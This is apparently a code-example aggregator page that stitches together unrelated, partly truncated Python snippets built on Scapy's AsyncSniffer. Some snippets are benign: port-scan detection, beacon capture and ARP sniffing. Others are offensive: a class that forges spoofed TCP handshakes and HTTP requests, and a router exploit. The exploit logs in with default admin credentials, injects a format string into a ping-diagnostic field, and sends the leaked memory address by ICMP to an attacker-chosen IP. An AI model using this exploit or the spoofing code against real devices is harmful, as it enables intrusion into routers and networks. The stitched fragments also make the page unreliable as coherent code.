        if srcIP in self.RECORD.keys():
            self.RECORD[srcIP].append(log)
        else:
            self.RECORD[srcIP] = [log]

        # saving the database ID in case of port scan detection
        if self.mode == "base" and self.db is not None:
            dbID = self.db.saveLogObject(log)
        else:
            return

        # self.PS_RECORD is a separate dictionary used for port scan detection
        if srcIP not in self.PS_RECORD.keys():
            self.PS_RECORD[srcIP] = dict()
            self.PS_RECORD[srcIP][log.destPortNumber] = dbID
        else:
            self.PS_RECORD[srcIP][log.destPortNumber] = dbID

            # Sending out the port scan alert
            if len(self.PS_RECORD[srcIP]) > self.config.portscan_threshold:
                if self.db is not None:
                    self.db.saveAlertObject(
                        Alert(
                            variant="alert",
                            message="Port scan detected from IP {}".format(
                                srcIP),
                            references=list(self.PS_RECORD[srcIP].values()),
                        ))
                self.PS_RECORD[srcIP] = dict()
Exemplo n.º 7
0
    global channel

    if channel == 14:
        channel = 1
    else:
        channel += 1

    subprocess.run(["iwconfig", interface, "channel", str(channel)])
    if capture:
        threading.Timer(0.2, hop_channel).start()


def handle_packet(packet):
    global captured_packet
    global capture
    global sniffer
    if packet.type == 0 and packet.subtype == 8:
        captured_packet = packet
        capture = False
        sniffer.stop()


print("Starting capture...")
sniffer = AsyncSniffer(iface=interface, prn=handle_packet, store=False)
hop_channel()
sniffer.start()
sniffer.join()

print("Generating PDF...")
captured_packet.pdfdump("01-beacon-frame.pdf", layer_shift=1)
Exemplo n.º 8
0
class Cheat:
    def __init__(self, config: Config, save: Save, ip_s: str, ip_r: str, port_r: int, save_path: str, visit_path: str):
        self._nw_if = config.adp
        self._ack = 0
        self._seq = 1
        self._ip_mac = save.ip_mac
        self.ip_s = ip_s
        self.ip_r = ip_r
        self._port_s = int(RandShort())
        self.port_r = port_r
        self._threads = []
        self._filter_string = "tcp and src port " \
                              "" + str(self.port_r) + " and src host " + self.ip_r + " and dst host " \
                              "" + self.ip_s + " and dst port " + str(self._port_s)
        self._last_ack = 0
        self._last_seq = 0
        self._mac_r = None
        self._mac_s = None
        self.so = None
        self.res = None
        self.need_get = []
        self.save_path = save_path
        self.visit_path = visit_path

    def init(self):
        self._ack = 0
        self._seq = 1
        self._last_ack = 0
        self._last_seq = 0
        self._mac_s, self._mac_r = self.get_mac(self.ip_s, self.ip_r)

    def get_mac(self, ip_a: str, ip_b: str):
        if ip_a in self._ip_mac.keys():
            mac_a = self._ip_mac[ip_a]
        else:
            mac_a = "00:00:00:00:00:01"
        if ip_b in self._ip_mac.keys():
            mac_b = self._ip_mac[ip_b]
        else:
            mac_b = "00:00:00:00:00:01"
        return mac_a, mac_b

    def whole_tcp(self):
        ans, un_an = srp(Ether(src=self._mac_s, dst=self._mac_r) /
                         IP(src=self.ip_s, dst=self.ip_r) /
                         TCP(sport=self._port_s, dport=self.port_r, flags="S", seq=self._seq, window=65535),
                         inter=0.1, iface=self._nw_if, timeout=2, verbose=0)
        # sleep(0.5)
        for s, r in ans:
            self._ack = r[TCP].seq + 1
        self._seq = self._seq + 1
        sendp(Ether(src=self._mac_s, dst=self._mac_r) /
              IP(src=self.ip_s, dst=self.ip_r) /
              TCP(sport=self._port_s, dport=self.port_r, flags="A", ack=self._ack, seq=self._seq, window=65535),
              inter=0.1, iface=self._nw_if, verbose=0)

    def http_request(self, path):
        # load_layer("http")

        sendp(Ether(src=self._mac_s, dst=self._mac_r) /
              IP(src=self.ip_s, dst=self.ip_r) /
              TCP(sport=self._port_s, dport=self.port_r, flags="A", ack=self._ack, seq=self._seq, window=65535)
              / HTTP()
              /
              HTTPRequest(
                  Method="GET",
                  Path=path,
                  Http_Version="HTTP/1.1",
                  Host=self.ip_r + ":" + str(self.port_r),
                  Connection="keep-alive",
                  Upgrade_Insecure_Requests="1",
                  Cookie="this is my fake cookie",
                  User_Agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
                             "Chrome/77.0.3865.90 Safari/537.36",
                  Accept="text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;"
                         "q=0.8,application/signed-exchange;v=b3",
                  # Accept_Encoding="gzip, deflate",
                  Accept_Language="zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6"
              ),
              inter=0.1, iface=self._nw_if, verbose=0)
        an = sniff(iface=self._nw_if, filter=self._filter_string, count=1)
        self._seq = an[0][TCP].ack
        # TCP数据包54字节
        self._ack = an[0][TCP].seq + len(an[0])-54
        # print(self._seq, self._ack)

    def data_trans(self):
        sendp(Ether(src=self._mac_s, dst=self._mac_r) /
              IP(src=self.ip_s, dst=self.ip_r) /
              TCP(sport=self._port_s, dport=self.port_r, flags="A", ack=self._ack, seq=self._seq, window=65535),
              inter=0.1, iface=self._nw_if, verbose=0)
        an = sniff(iface=self._nw_if, filter=self._filter_string, count=1, timeout=1)
        if an:
            if an[0][TCP].flags == 0x018 or an[0][TCP].flags == 0x010:
                self._ack = an[0][TCP].seq + len(an[0])-54
                self._seq = an[0][TCP].ack
                self.data_trans()
                if an[0].ack > self._last_seq:
                    self._last_ack = an[0][TCP].seq + len(an[0])-54
                    self._last_seq = an[0][TCP].ack
        else:
            if self._ack > self._last_ack:
                self._last_ack = self._ack
                self._last_seq = self._seq

    def four_tcp(self):
        self.res = self.so.stop()
        ans, un_an = srp(Ether(src=self._mac_s, dst=self._mac_r) /
                         IP(src=self.ip_s, dst=self.ip_r) /
                         TCP(sport=self._port_s, dport=self.port_r, flags="AF", ack=self._last_ack, seq=self._last_seq,
                             window=65535),
                         inter=0.1, iface=self._nw_if, verbose=0, retry=5)
        for s, value in ans:
            sendp(Ether(src=self._mac_s, dst=self._mac_r) /
                  IP(src=self.ip_s, dst=self.ip_r) /
                  TCP(sport=self._port_s, dport=self.port_r, flags="A", seq=value[TCP].ack, ack=value[TCP].seq + 1,
                      window=65535),
                  inter=0.1, iface=self._nw_if, verbose=0)

    def _ip_defeat(self, path: str):
        self.log()
        self.whole_tcp()
        self.http_request(path)
        self.data_trans()
        self.four_tcp()
        self.find_ans_packet(path)

    def find_ans_packet(self, path):
        i = -1
        if path == '/':
            f = open(self.save_path+"/index.html", 'wb+')
        else:
            f = open(self.save_path + path, 'wb+')
        for val in self.res:
            """
            if val.haslayer(TCP):
                print(val[TCP].seq)
            if val.haslayer(Raw):
                print(val[Raw].load)
            """
            if val.haslayer(Raw):
                if i <= val[TCP].seq:
                    f.write(val[Raw].load)
                    i = val[TCP].seq+len(val[Raw].load)
        f.close()
        f = None
        if path == '/':
            f = open(self.save_path+"/index.html", 'r+')
        elif not path.endswith('.jpg') \
                and not path.endswith('.png') \
                and not path.endswith('.jpeg') \
                and not path.endswith('gif'):
            f = open(self.save_path + path, 'r+')
        if f:
            s = f.read()
            res = re.findall(r'src=".*?"', s)
            f.close()
            ans = []
            for i in res:
                ans.append(*re.findall(r'".*"', i))
            for i in ans:
                visit_path = "/" + i.strip('\"')
                self._ip_defeat(visit_path)

    def log(self):
        self.so = AsyncSniffer(iface=self._nw_if, filter=self._filter_string)
        self.so.start()

    def ip_defeat(self):
        # path = urllib.parse.quote(path)
        new = threading.Thread(target=self._ip_defeat, args=(self.visit_path,))
        new.start()
Exemplo n.º 9
0
def leakinfo(host, port, rev_ip, interface):

    # Request that leaks pointer to the attacker via ICMP
    request = b'POST /cgi?2 HTTP/1.1\r\n'
    request += b'Host: ' + host.encode('utf-8') + b'\r\n'
    request += b'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0\r\n'
    request += b'Accept: */*\r\n'
    request += b'Accept-Language: en-US,en;q=0.5\r\n'
    request += b'Accept-Encoding: gzip, deflate\r\n'
    request += b'Content-Type: text/plain\r\n'
    request += b'Content-Length: 180\r\n'
    request += b'Origin: http://' + host.encode('utf-8') + b'\r\n'
    request += b'Connection: close\r\n'
    request += b'Referer: http://' + host.encode(
        'utf-8') + b'/mainFrame.htm\r\n'
    request += b'Cookie: Authorization=Basic YWRtaW46YWRtaW4=\r\n\r\n'
    request += b'[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n'
    request += b'dataBlockSize=64\r\n'
    request += b'timeout=1\r\n'
    request += b'numberOfRepetitions=1\r\n'
    request += b'host=' + rev_ip.encode('utf-8') + b' -p %x1%x%x\r\n'
    request += b'X_TP_ConnName=ewan_ipoe_s\r\n'
    request += b'diagnosticsState=Requested\r\n'

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(2)

    try:
        s.connect((host, port))
    except:
        print('[-] Unable to connect')
        sys.exit(-1)
    print(
        '[+] Connected to remote host\n[*] Injecting Infoleak ping command\n')

    s.send(request)
    sleep(0.5)
    s.recv(2072)
    s.close()

    print('[*] Starting ICMP listener to receive leak\n')
    if 'null' in interface:
        sniffer = AsyncSniffer(filter='icmp and host ' + rev_ip, count=1)

    else:
        sniffer = AsyncSniffer(iface=interface,
                               filter='icmp and host ' + rev_ip,
                               count=1)
    sniffer.start()
    sleep(2)

    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2.settimeout(2)

    print(
        '[*] Connecting to evaluate format string and transmit infoleak via ICMP request'
    )
    try:
        s2.connect((host, port))
    except:
        print('[-] Unable to connect')
        sys.exit(-1)

    # Request that executes the ping
    request = b'POST /cgi?7 HTTP/1.1\r\n'
    request += b'Host: ' + host.encode('utf-8') + b'\r\n'
    request += b'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0\r\n'
    request += b'Accept: */*\r\n'
    request += b'Accept-Language: en-US,en;q=0.5\r\n'
    request += b'Accept-Encoding: gzip, deflate\r\n'
    request += b'Content-Type: text/plain\r\n'
    request += b'Content-Length: 44\r\n'
    request += b'Origin: http://' + host.encode('utf-8') + b'\r\n'
    request += b'Connection: close\r\n'
    request += b'Referer: http://' + host.encode(
        'utf-8') + b'/mainFrame.htm\r\n'
    request += b'Cookie: Authorization=Basic YWRtaW46YWRtaW4=\r\n\r\n'
    request += b'[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'

    print('[*] Executing ping\n')
    s2.send(request)

    sniffer.join()
    leak = sniffer.results
    address = number(leak[0].lastlayer().load[9:13])
    print('[+] Got ICMP Request; Infoleak: {}\n'.format(hex(address)))
    return address
Exemplo n.º 10
0
    if pkt[ARP].op == 2:
        whosHere[str(pkt[ARP].hwsrc)] = pkt[ARP].psrc
        if verbose:
            return f"*Response: {pkt[ARP].hwsrc} has address {pkt[ARP].psrc}"
        else:
            return None

    if verbose:
        return "Unknown op: {pkt[ARP].op}"
    else:
        return None


print("ARP Sniffing...")
snf = AsyncSniffer(prn=arp_display, filter="arp", store=0)
snf.start()
# time.sleep(10)


def sniff_stop():
    packets = snf.stop()

    print(packets.summary())
    print(str(whosHere))
    output()


def output():
    with open('whoshere.json', 'w') as f:
        json.dump(whosHere, f)
        print("Wrote to whoshere.json")